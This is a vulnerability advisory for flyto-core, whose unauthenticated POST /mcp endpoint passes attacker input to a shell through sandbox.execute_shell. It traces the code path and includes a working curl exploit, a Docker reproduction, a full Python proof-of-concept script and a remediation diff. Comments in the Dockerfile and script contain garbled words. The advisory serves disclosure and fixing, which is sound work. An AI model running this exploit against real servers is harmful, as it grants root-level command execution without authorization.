PYSEC-2026-2482

Unauthenticated Command Execution via HTTP MCP execute_module

Summary

The HTTP MCP endpoint (POST /mcp) in flyto-core accepts unauthenticated JSON-RPC tools/call requests and dispatches them to arbitrary registered modules, including sandbox.execute_shell, which passes attacker-controlled input directly to asyncio.create_subprocess_shell. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to 127.0.0.1, making this a High-severity local vulnerability (CVSS 8.4); if started with --host 0.0.0.0, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as root inside a Docker container without any Authorization header.

Details

flyto-core exposes an HTTP API via FastAPI. When the API is started (flyto serve), the MCP router is unconditionally mounted at /mcp (src/core/api/server.py:75-78). The route handler at src/core/api/routes/mcp.py:65-66 declares @router.post("") with no Depends(require_auth) dependency, unlike the analogous REST execution routes (src/core/api/routes/modules.py:93) which enforce both authentication and a module denylist.

The complete unauthenticated data flow from source to sink:

1. src/core/api/server.py:75-78 — mcp_router is mounted under /mcp unconditionally at app creation.
2. src/core/api/routes/mcp.py:65-66 — @router.post("") has no Depends(require_auth) guard; any HTTP client may POST to this route.
3. src/core/api/routes/mcp.py:79 — the full request body (attacker-controlled JSON) is parsed without validation.
4. src/core/api/routes/mcp.py:103-104 — each JSON-RPC item is forwarded to handle_jsonrpc_request without a module_filter.
5. src/core/mcp_handler.py:813-838 — tools/call with name execute_module forwards attacker-controlled module_id and params to execute_module().
6. src/core/mcp_handler.py:180, 214-215 — the module registry resolves module_id and invokes it with attacker-supplied params.
7. src/core/modules/registry/decorators.py:96-101 — the function wrapper exposes self.params as context['params'].
8. src/core/modules/atomic/sandbox/execute_shell.py:137-139 — command is read directly from params with no sanitization.
9. src/core/modules/atomic/sandbox/execute_shell.py:163-169 — command reaches asyncio.create_subprocess_shell with shell=True and no allowlist or escaping.

The sandbox.execute_shell module is not covered by the default denylist (_DEFAULT_DENYLIST = ["shell.*", "process.*"] at src/core/api/security.py:126), so even if module_filter were applied it would still be reachable.

Vulnerable code excerpts:

# src/core/api/routes/mcp.py:65-66  — missing auth
@router.post("")
async def mcp_post(request: Request):

# src/core/mcp_handler.py:832-838  — attacker-controlled dispatch
elif tool_name == "execute_module":
    result = await execute_module(
        module_id=arguments.get("module_id", ""),
        params=arguments.get("params", {}),
        context=arguments.get("context"),
        browser_sessions=browser_sessions,
    )

# src/core/modules/atomic/sandbox/execute_shell.py:137-169  — sink
params = context['params']
command = params.get('command', '')
# ... only empty-command and cwd existence checks ...
proc = await asyncio.create_subprocess_shell(command, ...)

Contrast with the protected REST route:

# src/core/api/routes/modules.py:93  — correctly guarded
@router.post("/execute", dependencies=[Depends(require_auth)])

The existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it.

PoC

Environment setup (Docker):

# Build the image (context: the report directory containing repo/ and vuln-001/)
docker build \
  -f vuln-001/Dockerfile \
  -t flyto-vuln-001 \
  reports/mcp_57_flytohub__flyto-core/

# Start the server (binds 0.0.0.0:8333 inside the container)
docker run --rm -d \
  -p 127.0.0.1:8333:8333 \
  --name flyto-vuln-001-test \
  flyto-vuln-001

Exploit (curl) — no Authorization header:

curl -sS http://127.0.0.1:8333/mcp \
  -H 'Content-Type: application/json' \
  -d '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
      "name": "execute_module",
      "arguments": {
        "module_id": "sandbox.execute_shell",
        "params": {"command": "id", "timeout": 5}
      }
    }
  }'

Exploit (Python PoC script):

python3 vuln-001/poc.py \
  --host 127.0.0.1 --port 8333 --command id

Observed response (dynamic reproduction, Phase 2):

{
  "jsonrpc": "2.0",
  "id": 1,
  "result": {
    "structuredContent": {
      "ok": true,
      "data": {
        "stdout": "uid=0(root) gid=0(root) groups=0(root)\n",
        "stderr": "",
        "exit_code": 0,
        "execution_time_ms": 4.84
      }
    },
    "isError": false
  }
}

The uid=0(root) output confirms arbitrary OS command execution without any authentication. The HTTP response status was 200 OK.

Network-accessible variant:

If the operator starts flyto-core with --host 0.0.0.0 (as the Dockerfile does for demonstration), the same request is reachable from any network host, changing the attack vector from Local to Network.

Recommended remediation:

--- a/src/core/api/routes/mcp.py
+++ b/src/core/api/routes/mcp.py
-from fastapi import APIRouter, Request
+from fastapi import APIRouter, Depends, Request
 from fastapi.responses import JSONResponse, Response
 from core.mcp_handler import handle_jsonrpc_request
+from core.api.security import require_auth, module_filter

-@router.post("")
+@router.post("", dependencies=[Depends(require_auth)])
 async def mcp_post(request: Request):
         result = await handle_jsonrpc_request(item, browser_sessions)
+        result = await handle_jsonrpc_request(item, browser_sessions, module_filter=module_filter)

-@router.delete("")
+@router.delete("", dependencies=[Depends(require_auth)])
 async def mcp_delete(request: Request):

--- a/src/core/api/security.py
+++ b/src/core/api/security.py
-_DEFAULT_DENYLIST = ["shell.*", "process.*"]
+_DEFAULT_DENYLIST = ["shell.*", "process.*", "sandbox.*"]

Impact

This is an unauthenticated OS command injection vulnerability. Any process that can reach the POST /mcp HTTP endpoint (locally by default, or remotely if the server is bound to a non-loopback interface) can execute arbitrary shell commands with the full privileges of the flyto-core server process. In the dynamic reproduction, the server ran as root, meaning full system compromise is possible.

Affected parties include:

• Developers and local users running flyto serve on their workstations — any other local process (e.g., malicious code in a browser tab or another installed application) can pivot through the loopback interface.
• Infrastructure operators who expose the API on a non-loopback interface (--host 0.0.0.0) without network-level access controls — the attack surface becomes the entire network.

Potential consequences include arbitrary file read/write, credential exfiltration, lateral movement, and full host takeover.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

# lxml buildtext requiredtext whentext text
RUN apt-get update && apt-get install -y --no-install-recommends \
    gcc g++ libxml2-dev libxslt1-dev \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# local repo copy source (build context: mcp_57_flytohub__flyto-core/)
COPY repo/ /app/repo/

# flyto-core[api] install (fastapi + uvicorn contains)
RUN pip install --no-cache-dir "/app/repo[api]"

EXPOSE 8333

# container externalfrom accessibletext 0.0.0.0 binding
CMD ["python", "-c", "from core.api.server import main; main(host='0.0.0.0', port=8333)"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 PoC: Unauthenticated Command Execution via HTTP MCP execute_module

Target:  flyto-core 2.26.2
Route:   POST /mcp  (no auth dependency — mcp.py:65)
Sink:    asyncio.create_subprocess_shell  (execute_shell.py:163)
CWE:     CWE-306 Missing Authentication for Critical Function

Usage:
    python3 poc.py [--host 127.0.0.1] [--port 8333] [--command id]
"""
import sys
import time
import json
import argparse
import urllib.request
import urllib.error


def wait_for_server(base_url: str, max_wait: int = 45) -> bool:
    """servertext readytext until /health text."""
    for i in range(max_wait):
        try:
            with urllib.request.urlopen(f"{base_url}/health", timeout=2) as resp:
                if resp.status == 200:
                    print(f"[+] server is ready ({i}s textand)")
                    return True
        except Exception:
            pass
        time.sleep(1)
        if i % 5 == 4:
            print(f"[*] wait in progress... ({i+1}s)")
    return False


def send_exploit(base_url: str, command: str) -> dict:
    """without authentication POST /mcptext arbitrary command execute request."""
    payload = {
        "jsonrpc": "2.0",
        "id": 1,
        "method": "tools/call",
        "params": {
            "name": "execute_module",
            "arguments": {
                "module_id": "sandbox.execute_shell",
                "params": {
                    "command": command,
                    "timeout": 10
                }
            }
        }
    }

    data = json.dumps(payload).encode("utf-8")
    req = urllib.request.Request(
        f"{base_url}/mcp",
        data=data,
        headers={"Content-Type": "application/json"},
        method="POST",
    )

    with urllib.request.urlopen(req, timeout=20) as resp:
        body = resp.read().decode("utf-8")

    return json.loads(body)


def main():
    parser = argparse.ArgumentParser(description="VULN-001 PoC — flyto-core unauthenticated RCE via MCP")
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=8333)
    parser.add_argument("--command", default="id", help="OS command to execute (default: id)")
    args = parser.parse_args()

    base_url = f"http://{args.host}:{args.port}"

    print("=" * 60)
    print("VULN-001: Unauthenticated RCE via HTTP MCP execute_module")
    print(f"  Target  : {base_url}/mcp")
    print(f"  Command : {args.command}")
    print("=" * 60)
    print()

    # 1. wait for server readiness
    print("[*] waiting for server startup in progress...")
    if not wait_for_server(base_url):
        print("[-] FAIL: servertext whenbetween within not respond not")
        sys.exit(1)

    # 2. without authentication exploit send request
    print(f"\n[*] POST {base_url}/mcp — without an Authorization header send")
    try:
        result = send_exploit(base_url, args.command)
    except urllib.error.HTTPError as e:
        body = e.read().decode("utf-8", errors="replace")
        print(f"[-] HTTP {e.code}: {body}")
        print("[-] FAIL: servertext requesttext rejected (vulnerability none or text textdone)")
        sys.exit(1)
    except Exception as e:
        print(f"[-] text error: {e}")
        sys.exit(1)

    # 3. response parse
    print(f"\n[*] Raw JSON response:\n{json.dumps(result, indent=2, ensure_ascii=False)}\n")

    # result.result.structuredContent.data.stdout
    try:
        structured = result["result"]["structuredContent"]
        data = structured["data"]
        stdout = data.get("stdout", "")
        stderr = data.get("stderr", "")
        exit_code = data.get("exit_code", -1)
    except (KeyError, TypeError) as e:
        print(f"[-] FAIL: expected response structure text — {e}")
        print(f"    result keys: {list(result.get('result', {}).keys())}")
        sys.exit(1)

    print(f"[*] exit_code = {exit_code}")
    print(f"[*] stdout    = {stdout!r}")
    print(f"[*] stderr    = {stderr!r}")
    print()

    # 4. success verdict: `id` command resulttext uid= contains whether
    if "uid=" in stdout:
        print("[+] ============================================================")
        print("[+] PASS: without authentication text OS command execution check!")
        print(f"[+] command output: {stdout.strip()}")
        print("[+] ============================================================")
        sys.exit(0)
    else:
        print("[-] FAIL: stdouttext 'uid=' none — commandtext executenot text outputtext different")
        sys.exit(1)


if __name__ == "__main__":
    main()